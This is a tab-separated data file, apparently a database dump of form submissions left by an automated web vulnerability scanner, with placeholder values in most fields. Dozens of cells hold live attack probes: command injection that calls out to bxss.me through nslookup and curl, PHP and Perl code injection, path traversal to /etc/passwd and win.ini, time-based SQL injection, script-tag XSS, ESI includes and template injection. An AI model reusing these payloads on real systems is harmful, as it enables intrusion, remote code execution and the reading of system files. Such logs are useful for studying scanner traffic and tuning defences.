1	1	1	1	ncMUFCMU	1	Http://bxss.me/t/fit.txt	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	expr 9000776480 - 959054	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	HttP://bxss.me/t/xss.html?%00	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"&nslookup -q=cname hitqjoyjsfmmna3dc8.bxss.me&'\""`0&nslookup -q=cname hitqjoyjsfmmna3dc8.bxss.me&`'"	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	expr 9000833060 - 945805	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	${@print(md5(31337))}\	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	gethostbyname(lc('hitti'.'ptvlvhvc66387.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(109).chr(69).chr(108).chr(86)	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	gethostbyname(lc('hitoj'.'dwbejudrbad85.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(108).chr(84).chr(111).chr(65)	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	'.print(md5(31337)).'	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	""";print(md5(31337));$a="""	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	gethostbyname(lc('hitwg'.'jmtosjllb523e.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(98).chr(71).chr(118).chr(79)	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	""".gethostbyname(lc(""hityk"".""ptcskejb9f164.bxss.me."")).""A"".chr(67).chr(hex(""58"")).chr(103).chr(85).chr(99).chr(75)."""	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	'.gethostbyname(lc('hitkk'.'tsjxvboad3f2c.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(116).chr(89).chr(119).chr(66).'	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	gethostbyname(lc('hitne'.'mdxazfyq32430.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(118).chr(68).chr(105).chr(79)	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	""".gethostbyname(lc(""hitup"".""brsdsrbc2b6eb.bxss.me."")).""A"".chr(67).chr(hex(""58"")).chr(101).chr(88).chr(114).chr(74)."""	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	${10000193+10000465}	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"&(nslookup -q=cname hitteovzcgnti6df6b.bxss.me||curl hitteovzcgnti6df6b.bxss.me)&'\""`0&(nslookup -q=cname hitteovzcgnti6df6b.bxss.me||curl hitteovzcgnti6df6b.bxss.me)&`'"	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	${9999619+9999631}	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"|echo xpbxcw$()\ csuebh\nz^xyu||a #' |echo xpbxcw$()\ csuebh\nz^xyu||a #|"" |echo xpbxcw$()\ csuebh\nz^xyu||a #"	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	${9999425+10000002}	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"&(nslookup${IFS}-q${IFS}cname${IFS}hitmqqkpgmnamc5c84.bxss.me||curl${IFS}hitmqqkpgmnamc5c84.bxss.me)&'\""`0&(nslookup${IFS}-q${IFS}cname${IFS}hitmqqkpgmnamc5c84.bxss.me||curl${IFS}hitmqqkpgmnamc5c84.bxss.me)&`'"	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	|(nslookup${IFS}-q${IFS}cname${IFS}hitgfytlqvqwk75dbb.bxss.me||curl${IFS}hitgfytlqvqwk75dbb.bxss.me)	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	|(nslookup -q=cname hitavjjktlpdy9abc7.bxss.me||curl hitavjjktlpdy9abc7.bxss.me)	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	../94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"&nslookup -q=cname hituvtjmaclvd4675e.bxss.me&'\""`0&nslookup -q=cname hituvtjmaclvd4675e.bxss.me&`'"	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	$(nslookup -q=cname hitckgkvhpbpp0c729.bxss.me||curl hitckgkvhpbpp0c729.bxss.me)	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"echo ehhyxm$()\ ncaich\nz^xyu||a #' &echo ehhyxm$()\ ncaich\nz^xyu||a #|"" &echo ehhyxm$()\ ncaich\nz^xyu||a #"	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"94102<esi:include src=""http://bxss.me/rpb.png""/>"	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"ncMUFCMU<esi:include src=""http://bxss.me/rpb.png""/>"	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	../ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"1<esi:include src=""http://bxss.me/rpb.png""/>"	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	http://bxss.me/t/fit.txt%3F.jpg	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	`(nslookup -q=cname hitieznffyxww770b1.bxss.me||curl hitieznffyxww770b1.bxss.me)`	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	(select 198766*667891)	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	${@print(md5(31337))}	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	file:///etc/passwd	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	../../../../../../../../../../../../../../windows/win.ini	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	../../../../../../../../../../../../../../etc/passwd	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	../1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	../ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	../../../../../../../../../../../../../../windows/win.ini	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	../../../../../../../../../../../../../../etc/passwd	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"echo isqmff$()\ vxgyxa\nz^xyu||a #' &echo isqmff$()\ vxgyxa\nz^xyu||a #|"" &echo isqmff$()\ vxgyxa\nz^xyu||a #"	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"&(nslookup${IFS}-q${IFS}cname${IFS}hitrhkvbxvccpea9b6.bxss.me||curl${IFS}hitrhkvbxvccpea9b6.bxss.me)&'\""`0&(nslookup${IFS}-q${IFS}cname${IFS}hitrhkvbxvccpea9b6.bxss.me||curl${IFS}hitrhkvbxvccpea9b6.bxss.me)&`'"	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"&echo fsdfpf$()\ xlgbua\nz^xyu||a #' &echo fsdfpf$()\ xlgbua\nz^xyu||a #|"" &echo fsdfpf$()\ xlgbua\nz^xyu||a #"	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	file:///etc/passwd	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"echo vmonoq$()\ hijdwj\nz^xyu||a #' &echo vmonoq$()\ hijdwj\nz^xyu||a #|"" &echo vmonoq$()\ hijdwj\nz^xyu||a #"	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	../../../../../../../../../../../../../../windows/win.ini	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"1����%2527%2522\'\"""	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	"1'"""	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1-1); waitfor delay '0:0:15' -- 	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	Http://bxss.me/t/fit.txt	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	""".gethostbyname(lc(""hitnd"".""sklgbfvv6a610.bxss.me."")).""A"".chr(67).chr(hex(""58"")).chr(99).chr(86).chr(98).chr(79)."""	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	'.gethostbyname(lc('hitiu'.'rnzmaers661c9.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(111).chr(89).chr(105).chr(86).'	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	'.gethostbyname(lc('hitdm'.'kdkjmprb05d43.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(103).chr(88).chr(112).chr(73).'	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	|(nslookup${IFS}-q${IFS}cname${IFS}hitadlnppgiua68ee4.bxss.me||curl${IFS}hitadlnppgiua68ee4.bxss.me)	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"echo cxwbwl$()\ pzaqax\nz^xyu||a #' &echo cxwbwl$()\ pzaqax\nz^xyu||a #|"" &echo cxwbwl$()\ pzaqax\nz^xyu||a #"	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	${9999817+9999471}	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	'.print(md5(31337)).'	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	${@print(md5(31337))}\	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	""".gethostbyname(lc(""hitjn"".""kuntsiqw9404f.bxss.me."")).""A"".chr(67).chr(hex(""58"")).chr(119).chr(69).chr(108).chr(65)."""	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	|(nslookup${IFS}-q${IFS}cname${IFS}hitbfzjupvmjx3dbbb.bxss.me||curl${IFS}hitbfzjupvmjx3dbbb.bxss.me)	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	'.gethostbyname(lc('hitqc'.'ugifrttd39107.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(108).chr(71).chr(111).chr(82).'	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	;(nslookup -q=cname hitrejoavxsky95553.bxss.me||curl hitrejoavxsky95553.bxss.me)|(nslookup -q=cname hitrejoavxsky95553.bxss.me||curl hitrejoavxsky95553.bxss.me)&(nslookup -q=cname hitrejoavxsky95553.bxss.me||curl hitrejoavxsky95553.bxss.me)	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	""";print(md5(31337));$a="""	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	`(nslookup -q=cname hitjotxszwujp16a66.bxss.me||curl hitjotxszwujp16a66.bxss.me)`	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	';print(md5(31337));$a='	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"1<esi:include src=""http://bxss.me/rpb.png""/>"	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1-1 OR 488=(SELECT 488 FROM PG_SLEEP(15))--	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	'+response.write(9951240*9790666)+'	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	response.write(9951240*9790666)	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"1'""()&%<zzz><ScRiPt >IL0D(9421)</ScRiPt>"	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	19898926	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	19644277	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"'""()&%<zzz><ScRiPt >IL0D(9892)</ScRiPt>"	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"1'""()&%<zzz><ScRiPt >IL0D(9586)</ScRiPt>"	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU9992607	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"'""()&%<zzz><ScRiPt >IL0D(9938)</ScRiPt>"	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"ncMUFCMU'""()&%<zzz><ScRiPt >IL0D(9990)</ScRiPt>"	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	file:///etc/passwd	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	$(nslookup -q=cname hitebhooxnnqxeb6e6.bxss.me||curl hitebhooxnnqxeb6e6.bxss.me)	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	../../../../../../../../../../../../../../windows/win.ini	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	../1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	(select 198766*667891 from DUAL)	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	../ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	file:///etc/passwd	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	../../../../../../../../../../../../../../etc/passwd	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1MXuvb8To')) OR 327=(SELECT 327 FROM PG_SLEEP(15))--	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	5NkLlN8X: RcaOjdQI	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	;(nslookup -q=cname hitmyxtclmdzedef13.bxss.me||curl hitmyxtclmdzedef13.bxss.me)|(nslookup -q=cname hitmyxtclmdzedef13.bxss.me||curl hitmyxtclmdzedef13.bxss.me)&(nslookup -q=cname hitmyxtclmdzedef13.bxss.me||curl hitmyxtclmdzedef13.bxss.me)	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1qS9q2pY7') OR 442=(SELECT 442 FROM PG_SLEEP(15))--	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	xuGB158Y: minW0Slt	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	GPnAYVtG	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"&(nslookup${IFS}-q${IFS}cname${IFS}hitqdsbulmcpx3ada2.bxss.me||curl${IFS}hitqdsbulmcpx3ada2.bxss.me)&'\""`0&(nslookup${IFS}-q${IFS}cname${IFS}hitqdsbulmcpx3ada2.bxss.me||curl${IFS}hitqdsbulmcpx3ada2.bxss.me)&`'"	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1-1)) OR 851=(SELECT 851 FROM PG_SLEEP(15))--	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	|(nslookup${IFS}-q${IFS}cname${IFS}hitsgvmdxpcus441af.bxss.me||curl${IFS}hitsgvmdxpcus441af.bxss.me)	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"&(nslookup -q=cname hittvdwolhqgn61d47.bxss.me||curl hittvdwolhqgn61d47.bxss.me)&'\""`0&(nslookup -q=cname hittvdwolhqgn61d47.bxss.me||curl hittvdwolhqgn61d47.bxss.me)&`'"	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
